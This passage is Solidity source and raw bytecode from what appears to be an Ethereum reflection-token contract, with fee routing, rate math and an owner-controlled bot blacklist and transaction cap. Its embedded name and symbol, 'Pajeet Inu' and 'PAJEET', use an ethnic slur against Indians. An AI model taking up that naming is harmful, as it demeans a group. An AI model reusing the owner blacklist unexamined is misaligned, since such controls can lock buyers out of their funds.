bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f50616a65657420496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d4160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b39092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612373565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f50414a4545540000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f2565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127dc90919063ffffffff16565b61286290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfe6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d926025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb16023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d696029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f057601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8557601454811115611ed757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120305750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120865750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209e5750601360179054906101000a900460ff165b156121365742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ee57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214130610ae2565b9050601360159054906101000a900460ff161580156121ae5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c65750601360169054906101000a900460ff165b156121ee576121d4816124f2565b600047905060008111156121ec576121eb47612373565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122a157600090505b6122ad848484846128ac565b50505050565b6000838311158290612360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561232557808201518184015260208101905061230a565b50505050905090810190601f1680156123525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123c360028461286290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ee573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243f60028461286290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246a573d6000803e3d6000fd5b5050565b6000600a548211156124cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cd4602a913960400191505060405180910390fd5b60006124d5612b03565b90506124ea818461286290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561252757600080fd5b506040519080825280602002602001820160405280156125565781602001602082028036833780820191505090505b509050308160008151811061256757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260957600080fd5b505afa15801561261d573d6000803e3d6000fd5b505050506040513d602081101561263357600080fd5b81019080805190602001909291905050508160018151811061265157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126b830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561277c578082015181840152602081019050612761565b505050509050019650505050505050600060405180830381600087803b1580156127a557600080fd5b505af11580156127b9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ef576000905061285c565b600082840290508284828161280057fe5b0414612857576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d206021913960400191505060405180910390fd5b809150505b92915050565b60006128a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b2e565b905092915050565b806128ba576128b9612bf4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561295d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129725761296d848484612c37565b612aef565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a155750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a2a57612a25848484612e97565b612aee565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612acc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ae157612adc8484846130f7565b612aed565b612aec8484846133ec565b5b5b5b80612afd57612afc6135b7565b5b50505050565b6000806000612b106135cb565b91509150612b27818361286290919063ffffffff16565b9250505090565b60008083118290612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b9f578082015181840152602081019050612b84565b50505050905090810190601f168015612bcc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612be657fe5b049050809150509392505050565b6000600c54148015612c0857506000600d54145b15612c1257612c35565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c4987613878565b955095509550955095509550612ca787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d3c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dd185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e1d816139b2565b612e278483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612ea987613878565b955095509550955095509550612f0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061303185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061307d816139b2565b6130878483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061310987613878565b95509550955095509550955061316787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613372816139b2565b61337c8483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133fe87613878565b95509550955095509550955061345c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138e090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461392a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061353d816139b2565b6135478483613b57565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561382d5782600260006009848154811061360557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136ec5750816003600060098481548